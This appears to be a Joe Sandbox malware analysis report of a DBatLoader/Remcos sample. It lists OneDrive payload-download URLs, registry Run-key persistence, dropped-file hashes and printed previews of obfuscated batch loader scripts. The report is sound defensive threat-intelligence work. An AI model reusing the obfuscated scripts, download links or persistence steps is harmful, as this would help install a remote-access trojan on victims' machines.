http://geoplugin.net/json.gp/C	udVh4Ist4Z.exe, 00000000.00000003.2139310911.000000007E9D0000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2163236530.000000007EA60000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000006.00000001.2139650597.0000000000490000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000400000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000400000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp	true	URL Reputation: phishing	unknown
https://xirfeg.sn.files.1drv.com/y4mQLd7Jb4tXEApwTb1qUvLYu4AYaX9rqayqbrqvAn-5-ThXvkZfJF26xlkeR3Ny-gJ	Xjfxsfmn.PIF, 00000008.00000003.2293558943.0000000000939000.00000004.00000020.00020000.00000000.sdmp	false		high
https://live.com/	udVh4Ist4Z.exe, 00000000.00000002.2140385254.000000000072A000.00000004.00000020.00020000.00000000.sdmp, Xjfxsfmn.PIF, 00000008.00000003.2293558943.0000000000939000.00000004.00000020.00020000.00000000.sdmp, Xjfxsfmn.PIF, 0000000F.00000003.2559378885.000000000076D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://xirfeg.sn.files.1drv.com/y4mf57oWea_lC5UFEW7heHii22ItiVRqzOkuZoz6yyafu_P62cjXQyR0S8WE0jPq8Gh	Xjfxsfmn.PIF, 0000000F.00000002.2560602263.0000000000772000.00000004.00000020.00020000.00000000.sdmp	false		high
https://xirfeg.sn.files.1drv.com/	udVh4Ist4Z.exe, 00000000.00000002.2140385254.000000000072A000.00000004.00000020.00020000.00000000.sdmp, Xjfxsfmn.PIF, 00000008.00000003.2293558943.0000000000939000.00000004.00000020.00020000.00000000.sdmp, Xjfxsfmn.PIF, 0000000F.00000003.2559378885.000000000076D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://xirfeg.sn.files.1drv.com:443/y4mmJkpN2-URpDPce1turH6bNoPZHs8qohGTBPPgUSqUu1WeGjpTknCmr6n8UWt	udVh4Ist4Z.exe, 00000000.00000002.2140385254.000000000071C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.pmail.com	remcos.exe, remcos.exe, 0000000C.00000000.2337823304.0000000000416000.00000002.00000001.01000000.00000007.sdmp, remcos.exe, 0000000C.00000002.2338890937.0000000000416000.00000002.00000001.01000000.00000007.sdmp, remcos.exe, 0000000D.00000000.2418876564.0000000000416000.00000002.00000001.01000000.00000007.sdmp, remcos.exe, 0000000D.00000002.2442004580.0000000000416000.00000002.00000001.01000000.00000007.sdmp, nmfsxfjX.pif, 00000010.00000000.2558844631.0000000000416000.00000002.00000001.01000000.00000006.sdmp, remcos.exe, 00000011.00000002.2566375553.0000000000416000.00000002.00000001.01000000.00000009.sdmp, remcos.exe, 00000011.00000000.2565214757.0000000000416000.00000002.00000001.01000000.00000009.sdmp, remcos.exe, 00000012.00000002.2620397438.0000000000416000.00000002.00000001.01000000.00000009.sdmp, remcos.exe, 00000012.00000000.2619943576.0000000000416000.00000002.00000001.01000000.00000009.sdmp, remcos.exe.10.dr, remcos.exe.6.dr, nmfsxfjX.pif.0.dr	false		high
http://ocsp.sectigo.com0C	udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp, udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp, nmfsxfjX.pif, 0000000A.00000001.2293209618.0000000000B40000.00000040.00000001.00020000.00000000.sdmp, nmfsxfjX.pif, 00000010.00000001.2559054856.0000000000B40000.00000040.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://onedrive.live.com/download?resid=9ADCDEDB531E38FE%21107&authkey=	Xjfxsfmn.PIF, 0000000F.00000002.2569407559.00000000141B2000.00000004.00001000.00020000.00000000.sdmp	false		high
https://xirfeg.sn.files.1drv.com:443/y4mQLd7Jb4tXEApwTb1qUvLYu4AYaX9rqayqbrqvAn-5-ThXvkZfJF26xlkeR3N	Xjfxsfmn.PIF, 00000008.00000003.2293558943.0000000000939000.00000004.00000020.00020000.00000000.sdmp	false		high
https://onedrive.live.com/	udVh4Ist4Z.exe, 00000000.00000002.2140385254.0000000000702000.00000004.00000020.00020000.00000000.sdmp, Xjfxsfmn.PIF, 00000008.00000003.2293558943.00000000008D0000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
13.107.137.11	dual-spov-0006.spov-msedge.net	United States		8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1430910
Start date and time:	2024-04-24 10:58:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	udVh4Ist4Z.exe renamed because original name is a hash value
Original Sample Name:	2cc30d206669699e58870623365fef82.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winEXE@24/14@4/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 68 Number of non-executed functions: 261
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.42.12
Excluded domains from analysis (whitelisted): odc-web-brs.onedrive.akadns.net, client.wns.windows.com, sn-files.ha.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net, odc-sn-files-brs.onedrive.akadns.net, l-0003.l-msedge.net, ocsp.digicert.com, odc-web-geo.onedrive.akadns.net, slscr.update.microsoft.com, odc-sn-files-geo.onedrive.akadns.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:58:56	API Interceptor	2x Sleep call for process: udVh4Ist4Z.exe modified
10:59:03	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Xjfxsfmn C:\Users\Public\Xjfxsfmn.url
10:59:13	API Interceptor	2x Sleep call for process: Xjfxsfmn.PIF modified
10:59:13	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Rmc-L24XL1 "C:\ProgramData\Remcos\remcos.exe"
10:59:21	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Rmc-L24XL1 "C:\ProgramData\Remcos\remcos.exe"
10:59:29	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Xjfxsfmn C:\Users\Public\Xjfxsfmn.url
10:59:40	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Rmc-L24XL1 "C:\Users\user\AppData\Roaming\Remcos\remcos.exe"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.137.11	Payment Remittance Advice_000000202213.xlsb	Get hash	malicious	Unknown	Browse	onedrive.live.com/download?cid=64F8294A00286885&resid=64F8294A00286885%21770&authkey=ABI3zrc6BsVUKxU

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
dual-spov-0006.spov-msedge.net	URGENTE_NOTIFICATION.cmd	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.139.11
	OKhCyJ619J.rtf	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.137.11
	fu56fbrtn8.exe	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.139.11
	FT. 40FE CNY .xlsx.lnk	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse	13.107.139.11
	HFiHWvPsvA.rtf	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.137.11
	payment swift.xls	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.137.11
	VdwJB2cS5l.exe	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.139.11
	pSfqOmM1DG.exe	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.137.11
	https://1drv.ms/o/s!BDwGtOL3Ob0ShA6L6a7ghGOEVOBw?e=-nVgacgL8k2GcXGT6ejjHg&at=9%22)%20and%20ContentType:(%221%22)	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	13.107.139.11
	UGS - CRO REQ - KHIDUBAI (OPL-841724).scr	Get hash	malicious	PureLog Stealer, zgRAT	Browse	13.107.137.11

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	samradapps_datepicker_221114.xlam	Get hash	malicious	Unknown	Browse	13.107.246.69
	IPrstVM17M.exe	Get hash	malicious	Unknown	Browse	52.173.151.229
	https://220420241.blob.core.windows.net/web/index.html?id=999	Get hash	malicious	Unknown	Browse	20.150.111.100
	URGENTE_NOTIFICATION.cmd	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.139.11
	https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DU_vL_MRfqZW9nS4IDBSHT8MfJfSAq9b0aOVvtJoUhpW1Ga8ePAnfV-2FfXwE0xIGnayeXag21qNKRc5VLcgMkPlIuCBf7Hi8EFUvj1-2FlklJpMLZNx1IQq8eO26tVdmeuxhGn-2B2zjA71oEkiC9pTrxX9Dz-2FMJk8mkJr62ye1KlBo-2B8fxBlVl-2B6T0POpB0GKoibGhcjh4Z-2FnPU453nMAkUkNy65MlaA-3D-3D	Get hash	malicious	HTMLPhisher	Browse	13.107.213.69
	OKhCyJ619J.rtf	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.137.11
	#U5c97#U4f4d#U8865#U52a9#U5236#U5ea6.docx.doc	Get hash	malicious	Unknown	Browse	52.184.66.142
	fu56fbrtn8.exe	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.139.11
	Payment MT103.xls	Get hash	malicious	Unknown	Browse	13.107.246.69
	Ref_Order04.xls	Get hash	malicious	Unknown	Browse	13.107.213.69

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	samradapps_datepicker_221114.xlam	Get hash	malicious	Unknown	Browse	13.107.137.11
	Enquiry 230424.bat	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.137.11
	URGENTE_NOTIFICATION.cmd	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.137.11
	fu56fbrtn8.exe	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.137.11
	Payment MT103.xls	Get hash	malicious	Unknown	Browse	13.107.137.11
	Ref_Order04.xls	Get hash	malicious	Unknown	Browse	13.107.137.11
	FT. 40FE CNY .xlsx.lnk	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse	13.107.137.11
	OHkRFujs2m.exe	Get hash	malicious	Unknown	Browse	13.107.137.11
	file.exe	Get hash	malicious	RisePro Stealer	Browse	13.107.137.11
	z56NF-Faturada-23042024.msi	Get hash	malicious	MicroClip	Browse	13.107.137.11

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\Remcos\remcos.exe	FT. 40FE CNY .xlsx.lnk	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse
	ORDER-CONFIRMATION-DETAILS-000235374564.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse
	RFQ-DOC#GMG7278726655738_PM62753_Y82629_xcod.0.GZ	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse
	20240416-703661.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse
	disktop.pif.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse
	82__GT7568.PDF.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse
	SecuriteInfo.com.Win32.Evo-gen.25660.20544.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	SecuriteInfo.com.Win32.Evo-gen.15258.6765.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	rKjlbIeOH9.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse
	CONFIRMATION ORDER1.bat	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse
C:\Users\Public\Libraries\easinvoker.exe	Enquiry 230424.bat	Get hash	malicious	Remcos, DBatLoader	Browse
	URGENTE_NOTIFICATION.cmd	Get hash	malicious	Remcos, DBatLoader	Browse
	OKhCyJ619J.rtf	Get hash	malicious	Remcos, DBatLoader	Browse
	fu56fbrtn8.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	FT. 40FE CNY .xlsx.lnk	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse
	HFiHWvPsvA.rtf	Get hash	malicious	Remcos, DBatLoader	Browse
	payment swift.xls	Get hash	malicious	Remcos, DBatLoader	Browse
	VdwJB2cS5l.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	SecuriteInfo.com.Win32.RATX-gen.9491.24773.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	Purchase order.exe	Get hash	malicious	Remcos, DBatLoader	Browse

Created / dropped Files

C:\ProgramData\Remcos\Loader.Log

Download File

Process:	C:\ProgramData\Remcos\remcos.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.51089956542986
Encrypted:	false
SSDEEP:	3:+Vu9R2cpf2gwn:+VaRdNpw
MD5:	1E4CBA71ADCC3C10D024A3241C684067
SHA1:	C8FAC6308279D1E93160FDD751214FE72A2876E9
SHA-256:	1B8AB853C5977B486BBD2797D8E03C1D5AC25C7C295497A30883CCE98D6BC98C
SHA-512:	6025751C63B451BBCAE1FD36626274BC7F7416354B2E09AE9273BD4BF13F76B50EE56FEDD559468B1131A6A1E29F00750253FE03D7E8C5A78463DBE8DA545264
Malicious:	false
Preview:	24-04-24.1059: Mercury/32 Loader Started..

C:\ProgramData\Remcos\remcos.exe

Download File

Process:	C:\Users\Public\Libraries\nmfsxfjX.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	68096
Entropy (8bit):	6.328046551801531
Encrypted:	false
SSDEEP:	1536:lR2rJpByeL+39Ua1ITgA8wpuO5CU4GGMGcT4idU:lR2lg9Ua1egkCU60U
MD5:	C116D3604CEAFE7057D77FF27552C215
SHA1:	452B14432FB5758B46F2897AECCD89F7C82A727D
SHA-256:	7BCDC2E607ABC65EF93AFD009C3048970D9E8D1C2A18FC571562396B13EBB301
SHA-512:	9202A00EEAF4C5BE94DE32FD41BFEA40FC32D368955D49B7BAD2B5C23C4EBC92DCCB37D99F5A14E53AD674B63F1BAA6EFB1FEB27225C86693EAD3262A26D66C6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: FT. 40FE CNY .xlsx.lnk, Detection: malicious, Browse Filename: ORDER-CONFIRMATION-DETAILS-000235374564.cmd, Detection: malicious, Browse Filename: RFQ-DOC#GMG7278726655738_PM62753_Y82629_xcod.0.GZ, Detection: malicious, Browse Filename: 20240416-703661.cmd, Detection: malicious, Browse Filename: disktop.pif.exe, Detection: malicious, Browse Filename: 82__GT7568.PDF.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.25660.20544.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.15258.6765.exe, Detection: malicious, Browse Filename: rKjlbIeOH9.exe, Detection: malicious, Browse Filename: CONFIRMATION ORDER1.bat, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................................................................................................................................................................................................................................................................................PE..L....8.......................p....................@.............................................. ...................p.......`...............................................................P.......................................................text............................... ..`.data....p.......0..................@....tls.........@......................@....rdata.......P......................@..P.idata.......`......................@..@.edata.......p......................@..@

C:\Users\Public\Libraries\Null

Download File

Process:	C:\Users\user\Desktop\udVh4Ist4Z.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	1.9219280948873623
Encrypted:	false
SSDEEP:	3:MVy:Ms
MD5:	B8A4F2F99C387B80CDA72F6B43079B8B
SHA1:	A2281BBFE78D4F0D6FC03B4799FFD5D010997B13
SHA-256:	90B53DF56816C127246136D4403ABA3B26CEC599B2B950FB2BA78D6C1FB4E6BF
SHA-512:	413F0252867E18DD1F009F10018578790F9BFBE252B27FCC6452CB8B03E46CCAA251A9FF15CD962A45EA03469BBC7B1867A38A6F37EABEDAC29184AF5860501A
Malicious:	false
Preview:	100..

C:\Users\Public\Libraries\Xjfxsfmn.PIF

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1639424
Entropy (8bit):	7.422853453364174
Encrypted:	false
SSDEEP:	24576:7MkT4gLKu9KKozJQd/HJNRO/BhM6wIJp4m+3bu8U2flxAv:QkTpT9K1mzyhM6wW4mEQ2W
MD5:	2CC30D206669699E58870623365FEF82
SHA1:	DE5E70F094D0B72660AA57B87667EDD9D52971FC
SHA-256:	42AC8E7E9DF9877AF1382F5626FD74E63210D307F6D577CD5B387FFD0C9520BD
SHA-512:	2F1F275B9A928844D8F97DC07AA4D0F53DA61FD06A507424A873BA128E71D2754E710DBEBE1935ADC3DADA94B42417B1FC30A1915A40B2CFFC655C55D7C62005
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63% Antivirus: Virustotal, Detection: 66%, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................h...........u............@..............................................@......................x.......f ...........................@..(c...........................0......................................................CODE.....f.......h.................. ..`DATA.....G.......H...l..............@...BSS.....]................................idata..f ......."..................@....edata..x...........................@..P.tls......... ...........................rdata.......0......................@..P.reloc..(c...@...d..................@..P.rsrc................>..............@..P....................................@..P................................................................................................

C:\Users\Public\Libraries\XjfxsfmnO.bat

Download File

Process:	C:\Users\user\Desktop\udVh4Ist4Z.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (15012), with no line terminators
Category:	dropped
Size (bytes):	30026
Entropy (8bit):	3.9380000056299878
Encrypted:	false
SSDEEP:	192:IBOY7cKQ/CyntVZjpubO0bXWQtagxP2+3o5WIGbfJTAy:C
MD5:	828FFBF60677999579DAFE4BF3919C63
SHA1:	A0D159A1B9A49E9EACCC53FE0C3266C0526A1BDC
SHA-256:	ABAC4A967800F5DA708572EC42441EC373CD52459A83A8A382D6B8579482789D
SHA-512:	BF00909E24C5A6FB2346E8457A9ADACD5F1B35988D90ABBDE9FF26896BBB59EDAFEA60D9DB4D10182A7B5E129BB69585D3E20BC5C63AF3517B3A7EF1E45FFB7E
Malicious:	false
Yara Hits:	Rule: MALWARE_BAT_KoadicBAT, Description: Koadic post-exploitation framework BAT payload, Source: C:\Users\Public\Libraries\XjfxsfmnO.bat, Author: ditekSHen
Preview:	..&@cls&@set "_...=H zAnOeUIivpoS3l71mXMxw8yaqYTEuKgFGPJZRfr@k6Wj9sbQB4VtLD2d0C5Nch"..%_...:~41,1%%_...:~47,1%%_...:~6,1%%_...:~53,1%%_...:~1,1%"_...=%_...:~10,1%%_...:~39,1%%_...:~16,1%%_...:~13,1%%_...:~25,1%%_...:~53,1%%_...:~42,1%%_...:~22,1%%_...:~18,1%%_...:~48,1%%_...:~51,1%%_...:~2,1%%_...:~61,1%%_...:~9,1%%_...:~19,1%%_...:~44,1%%_...:~50,1%%_...:~57,1%%_...:~26,1%%_...:~4,1%%_...:~62,1%%_...:~3,1%%_...:~33,1%%_...:~38,1%%_...:~40,1%%.......%%_...:~60,1%%_...:~0,1%%_...:~43,1%%_...:~34,1%%_...:~58,1%%_...:~15,1%%_...:~7,1%%_...:~20,1%%_...:~49,1%%_...:~35,1%%_...:~14,1%%_...:~30,1%%_...:~36,1%%_...:~41,1%%_...:~45,1%%_...:~11,1%%_...:~55,1%%_...:~32,1%%_...:~17,1%%_...:~63,1%%_...:~56,1%%_...:~21,1%%_...:~37,1%%_...:~8,1%%_...:~54,1%%_...:~28,1%%_...:~6,1%%.......%%_...:~5,1%%_...:~59,1%%_...:~52,1%%_...:~29,1%%_...:~24,1%%_...:~12,1%%_...:~46,1%%_...:~47,1%%_...:~1,1%%_...:~23,1%%_...:~27,1%%_...:~31,1%"..%_...:~38,1%%_...:~59,1%%_...:~51,1%%_...:~5,1%%_...:~60,1%"_....=%_...

C:\Users\Public\Libraries\aaa.bat

Download File

Process:	C:\Users\user\Desktop\udVh4Ist4Z.exe
File Type:	DOS batch file, ASCII text, with very long lines (468), with CRLF line terminators
Category:	dropped
Size (bytes):	3646
Entropy (8bit):	5.383959173452972
Encrypted:	false
SSDEEP:	96:Zx2A0d5a9zHPwo0uP6SXjr4XtgPmon38JV7ZVhvoXS966hYxcdF4AlM5NQYE2Pl+:3L6jThc/pkmZAXpA2
MD5:	71E46EFE9932B83B397B44052513FB49
SHA1:	741AF3B8C31095A0CC2C39C41E62279684913205
SHA-256:	11C20FABF677CD77E8A354B520F6FFCA09CAC37CE15C9932550E749E49EFE08A
SHA-512:	76DA3B441C0EAAAABDD4D21B0A3D4AA7FD49D73A5F0DAB2CFB39F2E114EFE4F4DABE2D46B01B66D810D6E0EFA97676599ECE5C213C1A69A5F2F4897A9B4AC8DA
Malicious:	false
Preview:	@echo off..set "Nnqr=set "..%Nnqr%"njyC=="..%Nnqr%"qkMvMLsfma%njyC%http"..%Nnqr%"dbvWEsxWns%njyC%rem "..%Nnqr%"NpzRZtRBVV%njyC%Cloa"..%Nnqr%"ftNVZzSZxa%njyC%/Bat"..%Nnqr%"TwupSEtIWD%njyC%gith"..%Nnqr%"yIGacXULig%njyC%k"..%Nnqr%"uGlGnqCSun%njyC%h2sh"..%Nnqr%"FUsYUbfxRq%njyC%s://"..%Nnqr%"ewghYLVJDJ%njyC%om/c"..%Nnqr%"ZxOeNaoDFO%njyC%ub.c"..%dbvWEsxWns%%qkMvMLsfma%%FUsYUbfxRq%%TwupSEtIWD%%ZxOeNaoDFO%%ewghYLVJDJ%%uGlGnqCSun%%ftNVZzSZxa%%NpzRZtRBVV%%yIGacXULig%..%Nnqr%"dbvWEsxWns%njyC%@ech"..%Nnqr%"qkMvMLsfma%njyC%o of"..%Nnqr%"FUsYUbfxRq%njyC%f"..%dbvWEsxWns%%qkMvMLsfma%%FUsYUbfxRq%..%Nnqr%"NOtbuvMLuE%njyC%alph"..%Nnqr%"jSzGRzcKvC%njyC%ul 2"..%Nnqr%"KhBjpctAkV%njyC%.exe"..%Nnqr%"ftNVZzSZxa%njyC%c32."..%Nnqr%"czhHhGJsdj%njyC%m32\"..%Nnqr%"TOzhrohQZT%njyC% C:\"..%Nnqr%"NpzRZtRBVV%njyC%exe "..%Nnqr%"ppIMorhdlj%njyC% &"..%Nnqr%"SXdBSshqoL%njyC%Publ"..%Nnqr%"apGEijJnKT%njyC%\cmd"..%Nnqr%"qkMvMLsfma%njyC%Wind"..%Nnqr%"QxcSEoHMVZ%njyC%s\\S"..%Nnqr%"AvhQIkjRki%njyC%a.ex"..%Nnqr%"yIGacXULig%njyC%/

C:\Users\Public\Libraries\easinvoker.exe

Download File

Process:	C:\Users\user\Desktop\udVh4Ist4Z.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	131648
Entropy (8bit):	5.225468064273746
Encrypted:	false
SSDEEP:	3072:zar2xXibKcf5K67+k02XbFbosspwUUgcR:Nibl7+k02XZb9UA
MD5:	231CE1E1D7D98B44371FFFF407D68B59
SHA1:	25510D0F6353DBF0C9F72FC880DE7585E34B28FF
SHA-256:	30951DB8BFC21640645AA9144CFEAA294BB7C6980EF236D28552B6F4F3F92A96
SHA-512:	520887B01BDA96B7C4F91B9330A5C03A12F7C7F266D4359432E7BACC76B0EEF377C05A4361F8FA80AD0B94B5865699D747A5D94A2D3DCDB85DABF5887BB6C612
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: Enquiry 230424.bat, Detection: malicious, Browse Filename: URGENTE_NOTIFICATION.cmd, Detection: malicious, Browse Filename: OKhCyJ619J.rtf, Detection: malicious, Browse Filename: fu56fbrtn8.exe, Detection: malicious, Browse Filename: FT. 40FE CNY .xlsx.lnk, Detection: malicious, Browse Filename: HFiHWvPsvA.rtf, Detection: malicious, Browse Filename: payment swift.xls, Detection: malicious, Browse Filename: VdwJB2cS5l.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.RATX-gen.9491.24773.exe, Detection: malicious, Browse Filename: Purchase order.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........GF..)...)...).,.....).,.....).,.....)...(.V.).,.....).,.....).,.....).,.....).Rich..).........................PE..d...^PPT.........."..........D...... ..........@............................. ......z................ ..................................................................@&......4....................................................................................text............................... ..`.imrsiv..................................data...............................@....pdata..............................@..@.idata..............................@..@.rsrc...............................@..@.reloc..4...........................@..B........................................................................................................................................................................................................................

C:\Users\Public\Libraries\netutils.dll

Download File

Process:	C:\Users\user\Desktop\udVh4Ist4Z.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	116908
Entropy (8bit):	5.087211878722834
Encrypted:	false
SSDEEP:	1536:AxdWID3z1y5XtsBms9bOPu5jDqWte6VNCl7MbiRvRRJHu:AxdB/usBLOP8qWte6VQRRJHu
MD5:	566B326055C3ED8E2028AA1E2C1054D0
SHA1:	C25FA6D6369C083526CAFCF45B5F554635AFE218
SHA-256:	A692D4305B95E57E2CFC871D53A41A5BFC9E306CB1A86CA1159DB4F469598714
SHA-512:	DA4B0B45D47757B69F9ABC1817D3CB3C85DEB08658E55F07B016FBA053EFE541A5791B9B2B380C25B440BBAE6916C5A2245261553CA3C5025D9D55C943F9823C
Malicious:	true
